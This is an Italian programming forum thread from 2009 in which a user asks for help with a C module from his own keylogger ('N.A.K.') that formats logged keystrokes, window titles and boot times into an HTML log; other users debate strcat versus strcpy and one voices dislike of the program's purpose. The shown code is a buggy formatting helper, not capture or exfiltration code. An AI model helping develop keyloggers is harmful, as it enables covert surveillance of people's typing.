Questo sito utilizza cookies, anche di terze parti, per mostrare pubblicità e servizi in linea con il tuo account. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - strcpy, strcat, crisi esistenziale
Forum - C/C++ - strcpy, strcat, crisi esistenziale

Avatar
norbix (Ex-Member)
Newbie


Messaggi: 15
Iscritto: 14/09/2008

Segnala al moderatore
Postato alle 12:46
Giovedì, 27/08/2009
salve in questo periodo sto riorganizzando il mio keylogger suddividendolo in vari sorgenti, il "modulo" per la codifica in HTML non funziona correttamente, e dopo vari giorni di tentativi, debugging e meditazione, sono arrivato alla conclusione che

Codice sorgente - presumibilmente Plain Text

  1. dest[0] = 0;
  2.      strcat(dest, source);



non equivale a

Codice sorgente - presumibilmente Plain Text

  1. strcpy(dest, source);



nel vano tentativo di scoprire perchè questa cosa non sia vera, vi posto il sorgente del modulo

Codice sorgente - presumibilmente C++

  1. #include "HTML_encoder.h"
  2. #include <string.h>
  3. #include <windows.h>
  4.  
  5. BYTE temp[1024];
  6.  
  7. void HTML_build_row(BYTE *source, BYTE *dest)
  8. {
  9.      dest[0] = 0; // se il primo carattere della stringa è il carattere di fine stringa, allora la stringa è vuota
  10.  
  11.      if(strstr(source, ">> >> >>")) // example: >> >> >> N.A.K. Booted - 04/07/2009 19:17 << << <<
  12.      {
  13.           strcat(dest, "<bt>"); // boot title
  14.           HTML_encoder(source, temp);
  15.           strcat(dest, temp);
  16.           strcat(dest, "</bt>");
  17.      }
  18.      else if(strstr(source, ">>")) // example: >> Disk space analizer (C:\) <<
  19.      {
  20.           strcat(dest, "<wt>"); // window title
  21.           HTML_encoder(source, temp);
  22.           strcat(dest, temp);
  23.           strcat(dest, "</wt>");
  24.      }
  25.      else if(strstr(source, "<") && strstr(source, ">")) // example: <CAPSLOCK ON>
  26.      {
  27.           strcat(dest, "<sk>"); // special key
  28.           HTML_encoder(source, temp);
  29.           strcat(dest, temp);
  30.           strcat(dest, "</sk>");
  31.      }
  32.      else
  33.      {
  34.           HTML_encoder(source, dest);
  35.      }
  36. }
  37.  
  38. void HTML_build_head(BYTE *dest)
  39. {
  40.      BYTE *code = "<html>\n"
  41.                   "<head>\n"
  42.                   "<title>N.A.K. Log File</title>\n"
  43.                   "<link href = style.css rel = stylesheet type = text/css>\n"
  44.                   "</head>\n\n"
  45.                   "<body>\n"
  46.                   "<code>\n";
  47.  
  48.      strcpy(dest, code);
  49.      free(code);
  50. }
  51.  
  52. void HTML_encoder(BYTE *source, BYTE *dest)
  53. {
  54. // funziona strcpy ma non strcat a quanto sembra
  55.      dest[0] = 0; // se il primo carattere della stringa è il carattere di fine stringa, allora la stringa è vuota
  56. strcat(dest, source); return;
  57.      int i;
  58.      for(i = 0; i < strlen(source); i++)
  59.      {
  60.           if(source[i] == '"') strcat(dest, """);
  61.          else if(source[i] == '<') strcat(dest, "<");
  62.          else if(source[i] == '>') strcat(dest, ">");
  63.          else if(source[i] == '&') strcat(dest, "&");
  64.          else if(source[i] == '\n') strcat(dest, "<br>\n");
  65.          else
  66.          {
  67.               int last_char_pos = strlen(dest) - 1;
  68.               dest[last_char_pos + 1] = source[i]; // aggiunge alla stringa il carattere sorgente senza modificarlo
  69.               dest[last_char_pos + 2] = 0; // aggiunge il carattere di fine stringa
  70.          }
  71.     }
  72. }


PM Quote
Avatar
Lawliet (Normal User)
Expert


Messaggi: 386
Iscritto: 09/04/2009

Segnala al moderatore
Postato alle 7:23
Venerdì, 28/08/2009
Non ho capito bene cosa vuoi sapere di preciso:
Però di ciò che sò, è che la funzione strcat copia a partire dal terminatore stringa della stringa di destinazione, mentre la strcpy copia tutto e comunque sempre se c'è spazio a disposizione.
facendo così sotto è equivalente alla funzione strcpy.. però non sempre! Anche perchè penso che questo sia un eccezione particolare che si mostra equivalente.

Testo quotato

Postato originariamente da norbix:

Codice sorgente - presumibilmente Plain Text

  1. dest[0] = 0;
  2.      strcat(dest, source);


non equivale a

Codice sorgente - presumibilmente Plain Text

  1. strcpy(dest, source);





Nel tuo programma ho notato un piccolo errore in questa riga:        
Testo quotato

Postato originariamente da norbix:
Codice sorgente - presumibilmente Plain Text

  1. if(source[i] == '"') strcat(dest, """);




Ultima modifica effettuata da Lawliet il 28/08/2009 alle 7:24


"Dai un pesce (programma) a un uomo e lo nutrirai per un giorno. Insegnagli a pescare (programmare) e lo nutrirai per tutta la vita." (niente pappa pronta)
cit. theprogrammer
PM Quote
Avatar
norbix (Ex-Member)
Newbie


Messaggi: 15
Iscritto: 14/09/2008

Segnala al moderatore
Postato alle 13:35
Venerdì, 28/08/2009
non è un errore, altrimenti il compilatore me lo segnalerebbe, li c'è un doppio apice e un & quot ;

solo che non viene visualizzato nel forum, non so perchè

e quindi.. perchè non equivale?

sai la cosa davvero strana? che l'algoritmo funziona molto bene fino alla fase iniziale del programma, ma poi è come se la stringa passata (source) fosse vuota, questo l'ho scoperto grazie a qualche printf messo nei posti giusti.

ho fatto molte prove, notando come la stringa cambiasse, ho individuato le funzioni che modificano quella stringa (in realtà non la modificano, perchè viene sempre copiata) e alla fine ho trovato HTML_encoder, bypassandola infatti (strcpy(dest, source); return; a inizio funzione) il programma funziona correttamente, mentre con un strcat(); le cose non vanno per il verso giusto. quindi, la mia domanda è, perchè

Codice sorgente - presumibilmente Plain Text

  1. dest[0] = 0;
  2. strcat(dest, source);



non equivale a

Codice sorgente - presumibilmente Plain Text

  1. strcpy(dest, source);



?

grazie e a presto!

IMPORTANTE: i problemi ci sono solo quando è attivo l'if dei caratteri ">>", negli altri casi tutto funziona perfettamente

Ultima modifica effettuata da norbix il 28/08/2009 alle 13:37
PM Quote
Avatar
norbix (Ex-Member)
Newbie


Messaggi: 15
Iscritto: 14/09/2008

Segnala al moderatore
Postato alle 19:32
Lunedì, 07/09/2009
ppst?

PM Quote
Avatar
theprogrammer (Normal User)
Guru^2


Messaggi: 2509
Iscritto: 28/01/2009

Segnala al moderatore
Postato alle 21:43
Giovedì, 10/09/2009
Bisogna capire se, quando passi la stringa dest, questa e' stata regolarmente allocata.

Mostra anche il codice del main che utilizzi per chiamare le varie funzioni.

P.S. Inoltre, anche se non e' questo il problema principale, utilizzi la strcat con un vettore di BYTE e questo il compilatore dovrebbe fartelo notare (dicendoti che manca un cast ...).


- Se le mie risposte non vi soddisfano, ignoratele, altrimenti un "grazie" e' molto gradito ...

"Dai un pesce (programma) a un uomo e lo nutrirai per un giorno. Insegnagli a pescare (programmare) e lo nutrirai per tutta la vita." (niente pappa pronta)
PM Quote
Avatar
norbix (Ex-Member)
Newbie


Messaggi: 15
Iscritto: 14/09/2008

Segnala al moderatore
Postato alle 22:50
Venerdì, 11/09/2009
ci avevo pensato al cast, ma non risolvendo nulla ho lasciato i BYTE, il compilatore non mi avvisa, uso GCC con l'opzione -Wall (attiva tutti i warning), e visto che mi avvisa persino se manca il carattere newline alla fine del sorgente.. penso che il cast da unsigned char a char (o viceversa) non serva proprio

uso BYTE perchè avendo studiato da poco programmazione a basso livello mi piace di più avere tutte le cose sotto controllo, anche se in questo caso è proprio una mania

il codice del main.. uhm, sono un po di file, ti allego un archivio


norbix ha allegato un file: SERIOUS_NAK.zip (13339 bytes)
Clicca qui per scaricare il file
PM Quote
Avatar
theprogrammer (Normal User)
Guru^2


Messaggi: 2509
Iscritto: 28/01/2009

Segnala al moderatore
Postato alle 23:09
Venerdì, 11/09/2009
Scusa, ma ti avevo chiesto solo il codice che usi quando chiami quelle funzioni per vedere se e come allochi il vettore dest.

Non voglio tutto il codice anche perche' dovrei impiegare piu' tempo a cercare quando tu sai gia' dove chiami quelle funzioni ... o no?

P.S. Considera che gia' il "tipo" di programma non mi piace ...


- Se le mie risposte non vi soddisfano, ignoratele, altrimenti un "grazie" e' molto gradito ...

"Dai un pesce (programma) a un uomo e lo nutrirai per un giorno. Insegnagli a pescare (programmare) e lo nutrirai per tutta la vita." (niente pappa pronta)
PM Quote
Avatar
norbix (Ex-Member)
Newbie


Messaggi: 15
Iscritto: 14/09/2008

Segnala al moderatore
Postato alle 22:32
Sabato, 12/09/2009
allora lascia stare, nessuno ti obbliga a fare le cose controvoglia

PM Quote
Avatar
theprogrammer (Normal User)
Guru^2


Messaggi: 2509
Iscritto: 28/01/2009

Segnala al moderatore
Postato alle 8:17
Domenica, 13/09/2009
Testo quotato

Postato originariamente da norbix:

allora lascia stare, nessuno ti obbliga a fare le cose controvoglia



Quello che voglio fare, per cui ti ho chiesto informazioni, non lo faccio controvoglia.



- Se le mie risposte non vi soddisfano, ignoratele, altrimenti un "grazie" e' molto gradito ...

"Dai un pesce (programma) a un uomo e lo nutrirai per un giorno. Insegnagli a pescare (programmare) e lo nutrirai per tutta la vita." (niente pappa pronta)
PM Quote